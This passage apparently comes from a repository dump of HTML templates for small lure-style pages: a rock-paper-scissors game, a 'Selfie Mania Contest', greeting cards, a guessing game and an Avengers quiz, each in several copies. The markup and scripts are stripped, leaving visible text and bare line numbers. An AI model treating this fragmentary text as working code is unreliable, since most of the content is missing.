this.USE_CIRCLES?(ctx.beginPath(),ctx.arc(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size/2,0,2*Math.PI),ctx.fill()):ctx.fillRect(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size,size)}}}this.prevW=canvas.clientWidth,this.prevH=canvas.clientHeight}-1!=this.drawRequest&&(this.drawRequest=requestAnimationFrame(this.draw.bind(this))),this.LAST_RENDER_T=timeStamp()-TIME},move:function(){var t=timeStamp(),speedMulF=(t-this.lastMoveTS)/(1e3/60);if(this.lastMoveTS=t,!this.PAUSED){var speedAdjF=Math.pow(this.SPEED_ADJ_FACTOR<0?0:this.SPEED_ADJ_FACTOR>1?1:this.SPEED_ADJ_FACTOR,1/speedMulF);this.SPEED=this.TARGET_SPEED*speedAdjF+this.SPEED*(1-speedAdjF),this.SPEED<0&&(this.SPEED=0);for(var speed=this.SPEED*speedMulF,i=0;i 2 | 3 | 4 |

Rock, Paper, or Scissors?

5 |

A steam-powered bot has challenged you to a game. Rock beats scissors, scissors beats paper, and paper beats rock.

6 |
7 |

Scoreboard

8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 |
00
YouBot
22 |
23 | 24 |

Choose Wisely

25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 |
34 | 35 | 89 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 165 | 166 | 167 | 168 | 229 | -------------------------------------------------------------------------------- /webs/rps/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

Rock, Paper, or Scissors?

5 |

A steam-powered bot has challenged you to a game. Rock beats scissors, scissors beats paper, and paper beats rock.

6 |
7 |

Scoreboard

8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 |
00
YouBot
22 |
23 | 24 |

Choose Wisely

25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 |
34 | 35 | 89 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 165 | 166 | 167 | 168 | 229 | -------------------------------------------------------------------------------- /webs/rps/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

Rock, Paper, or Scissors?

5 |

A steam-powered bot has challenged you to a game. Rock beats scissors, scissors beats paper, and paper beats rock.

6 |
7 |

Scoreboard

8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 |
00
YouBot
22 |
23 | 24 |

Choose Wisely

25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 |
34 | 35 | 89 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 165 | 166 | 167 | 168 | 229 | -------------------------------------------------------------------------------- /webs/selfie/selfie.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

Selfie Mania Contest

5 | 6 | 7 |
8 | 13 | 14 | 15 | 18 | 19 |
20 |
21 | 22 | 30 | 31 | 32 | 40 | 41 | 42 | 50 |   51 |   52 |
53 |         54 | 55 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 210 | 211 | 212 | 213 | 274 | 275 | -------------------------------------------------------------------------------- /webs/boxwish/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 |
8 |
9 |
10 |

good game

11 |

abobus

12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |

Best wishes!

52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 323 | 324 | 325 | 326 | 387 | -------------------------------------------------------------------------------- /webs/boxwish/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 |
8 |
9 |
10 |

good game

11 |

abobus

12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |

Best wishes!

52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 323 | 324 | 325 | 326 | 387 | -------------------------------------------------------------------------------- /webs/boxwish/option.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 |
8 |
9 |
10 |

good game

11 |

Good Morning

12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |

Best wishes!

52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 323 | 324 | 325 | 326 | 387 | -------------------------------------------------------------------------------- /webs/boxwish/boxwish.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 |
8 |
9 |
10 |

Happy Day

11 |

Good Morning

12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |

Best wishes!

52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 323 | 324 | 325 | 326 | 387 | -------------------------------------------------------------------------------- /webs/book/book.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | 31 |
32 | 33 |

My dear this is just for you.

34 |

Hope your day goes great!

35 |
36 |
37 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 312 | 313 | 314 | 315 | 376 | -------------------------------------------------------------------------------- /webs/guess/guess.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Guessing Game 8 | 9 | 10 | 11 | 12 |
13 |
14 | 15 |

Guessing Game

16 |

Enter a guess from 1-100. Guess right to win a prize!

17 | 18 |
19 |
20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 |
31 |
32 | 33 |

Remaining Guesses:

5

34 |
35 |
36 |
37 | 38 | 39 | 40 | 41 | 42 | 43 | 79 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 310 | 311 | 312 | 313 | 374 | -------------------------------------------------------------------------------- /webs/quiz/quiz.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Avengers Quiz 9 | 10 | 11 |
12 |
13 |
14 |

In which year did Captain America and Iron Man go to, to retrieve the Tesseract after failing once in Avengers Endgame?

15 |

Difficulty - Easy

16 |
17 | 18 |
19 |
20 |

1974

21 |
22 |
23 |

1970

24 |
25 |
26 |

1967

27 |
28 |
29 |

1972

30 |
31 |
32 | 33 |
34 | 35 | 36 | 37 | 38 |
39 | 40 |
41 | hint 42 |
43 |

44 |
45 |
46 | 163 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 425 | 426 | 427 | 428 | 489 | -------------------------------------------------------------------------------- /webs/quiz/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Avengers Quiz 9 | 10 | 11 |
12 |
13 |
14 |

In which year did Captain America and Iron Man go to, to retrieve the Tesseract after failing once in Avengers Endgame?

15 |

Difficulty - Easy

16 |
17 | 18 |
19 |
20 |

1974

21 |
22 |
23 |

1970

24 |
25 |
26 |

1967

27 |
28 |
29 |

1972

30 |
31 |
32 | 33 |
34 | 35 | 36 | 37 | 38 |
39 | 40 |
41 | hint 42 |
43 |

44 |
45 |
46 | 163 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 425 | 426 | 427 | 428 | 489 | --------------------------------------------------------------------------------